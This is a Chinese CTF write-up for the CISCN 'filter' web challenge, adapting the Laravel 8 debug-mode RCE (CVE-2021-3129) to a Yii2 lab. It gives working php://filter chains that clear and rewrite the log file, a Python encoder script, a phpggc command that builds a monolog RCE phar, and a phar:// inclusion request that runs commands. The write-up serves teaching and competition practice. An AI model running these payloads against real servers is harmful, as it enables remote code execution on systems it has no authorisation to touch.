CISCN_web_filter

国赛的一道php://filter的过滤器利用,顺便学习一下laravel8的debug RCE

本地环境搭建

mac下composer直接安装yii2

1
composer create-project --prefer-dist yiisoft/yii2-app-basic basic

题目给了composer.json和site控制器内容(应该,比较一下生成的yii2的composer.json文件,发现缺少monolog模块

https://i.loli.net/2021/05/28/9XdjVUPaI1yTAzJ.png

添加进项目中的composer.json,执行composer update即可安装缺少的日志模块。接着在config目录的web.php文件中设置日志级别(只需要error级别即可,方便后续利用

https://i.loli.net/2021/05/28/pvkKnBEg3Q2rITs.png

最后把题目给的SiteController.php文件中的漏洞代码添加上去

https://s2.loli.net/2022/12/26/RAmQPLIUd4OVSEX.png

利用

根据添加的代码我们能发现这就是laravel8的RCE的简化版,没有了代码审计流程,直接给了漏洞点。根据漏洞利用过程,简化为四步。

  1. 清空日志
  2. 写入需要恶意payload到日志
  3. 利用php://filter清除多余内容,转化为phar纯净文件
  4. 利用phar协议getshell

先进行日志清除,对于yii2的日志跟进前面的日志文件方法

https://i.loli.net/2021/05/28/JT8wGgB4fnUdSCp.png

找到日志位置 /runtime/logs/app.log

先进行日志清除,这里使用consumed过滤器,用来清除文件内容,具体作用官方并未公开细节。

1
php://filter/read=consumed/resource=../runtime/logs/app.log

根据Laravel8的RCE还可以用

1
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

来清除日志,主要利用思路是将文件内容变为非base64字符,然后使用convert.base64-decode过滤器来进行解密,这样就会达到清空目的,具体细节参考

Laravel Debug mode RCE(CVE-2021-3129)分析复现

接着是写入恶意payload,通过前面文章的分析复现我们可以知道,写入payload后日志格式为

1
[x]payload [x]payload [x]部分payload

也就是两部分完整payload和一部分残缺的payload,这里看看我们yii2下面的日志格式。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
2021-05-28 01:51:07 [::1][-][qevmoqnh9m29scm5b1c06l0jh5][error][yii\base\ErrorException:2] yii\base\ErrorException: file_get_contents(hshui): Failed to open stream: No such file or directory in /Users/sw0r3d/works/test/yii_test/basic/controllers/SiteController.php:65
Stack trace:
#0 [internal function]: yii\base\ErrorHandler->handleError(2, 'file_get_conten...', '/Users/sw0r3d/w...', 65)
#1 /Users/sw0r3d/works/test/yii_test/basic/controllers/SiteController.php(65): file_get_contents('hshui')
#2 [internal function]: app\controllers\SiteController->actionIndex()
#3 /Users/sw0r3d/works/test/yii_test/basic/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array(Array, Array)
#4 /Users/sw0r3d/works/test/yii_test/basic/vendor/yiisoft/yii2/base/Controller.php(181): yii\base\InlineAction->runWithParams(Array)
#5 /Users/sw0r3d/works/test/yii_test/basic/vendor/yiisoft/yii2/base/Module.php(534): yii\base\Controller->runAction('', Array)
#6 /Users/sw0r3d/works/test/yii_test/basic/vendor/yiisoft/yii2/web/Application.php(104): yii\base\Module->runAction('', Array)
#7 /Users/sw0r3d/works/test/yii_test/basic/vendor/yiisoft/yii2/base/Application.php(392): yii\web\Application->handleRequest(Object(yii\web\Request))
#8 /Users/sw0r3d/works/test/yii_test/basic/web/index.php(12): yii\base\Application->run()
#9 {main}

可以看到其实只有两部分payload,也就是

1
[x]payload [x]部分payload

格式会影响我们写入payload,我们先尝试写普通字符,通过原作者提出的convert.iconv.utf-16le.utf-8方法,以及前面清空日志的过程,我们可以将写入payload中使用过滤器的顺序表示为

convert.quoted-printable-decode - > convert.iconv.utf-16le.utf-8 -> convert.base64-decode

这其实就是一个日志清除的简化版,不过在utf-16le.utf-8过滤器使用的时候是每次对两个字符进行识别,所以在两部分完整payload的时候会清除失败,对于部分payload的情况有50%机率成功。

通过上面这个链,我们需要构造反向链即可写入任意字符,也就是base64加密后符合utf-16le.utf-8以及quoted-printable-decode解密,base64我们能实现,utf-16le.utf-8参考官方文档

image-20210528111652761

也就是在字符和字符之间添加了\0,而quote-printable则是转成= + ASCII码

image-20210528112030143

参考上面文章的生成符合链字符的脚本

1
2
3
4
5
import base64

res = base64.b64encode('xxxxx')
print(''.join(["=" + hex(ord(i))[2:] + "=00" for i in res]).upper())
#=65=00=48=00=68=00=34=00=65=00=48=00=67=00=3D=00

tips

下面关于写入payload的两个问题,如果我们直接写入生成的字符

image-20210528113356324

image-20210528114302006

utf-16le.utf-8报错了,前面说过这个过滤器对于字符转换是两个字符进行识别,所以我们需要在写入payload的后面加上一个任意字符,让payload结果为双数。

写入payload

1
?file==65=00=48=00=68=00=34=00=65=00=48=00=67=00=3D=00x

清除其他字符

1
?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

成功写入

https://i.loli.net/2021/05/28/jWtiyCBgD5vrTN3.png

下面就是写入任意payload,用phpggc找一个符合monolog版本的RCE链,生成

1
2
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0|python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
#如果要执行带有空格的命令,需要用引号包含一下,类似system 'ls /'

用上面脚本生成一下然后写入,本地写入payload后进行干扰字符清除的时候,因为长度问题可能会导致转换出错,转化错误就添加一个字符保证为双数即可。

重复上面写入任意字符操作,最后用phar进行文件包含

1
?file=phar://../runtime/logs/app.log/test.txt

image-20210528135430505

后续 5-28

由于前面有提到 convert.iconv.utf-16le.utf-8 过滤器是通过每两个字符进行转换,🤔了一下,如果把日志内容经过base64加密一次转成双数的字符,然后再用 utf-16le 来转换成非base64字符,最后再base64解密一次,应该也可以达到清除日志的目的。

1
?file=php://filter/write=convert.base64-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

结合之前的方式就有三种清除日志的方法,对于写日志strips.tags应该也可以进行利用( Dog3的师傅告诉我的。

最后是对于命令执行,由于触发函数是call_user_func,在php7版本后,assert不能用来进行代码执行了,导致写shell的想法落空,最后也没成功。

0%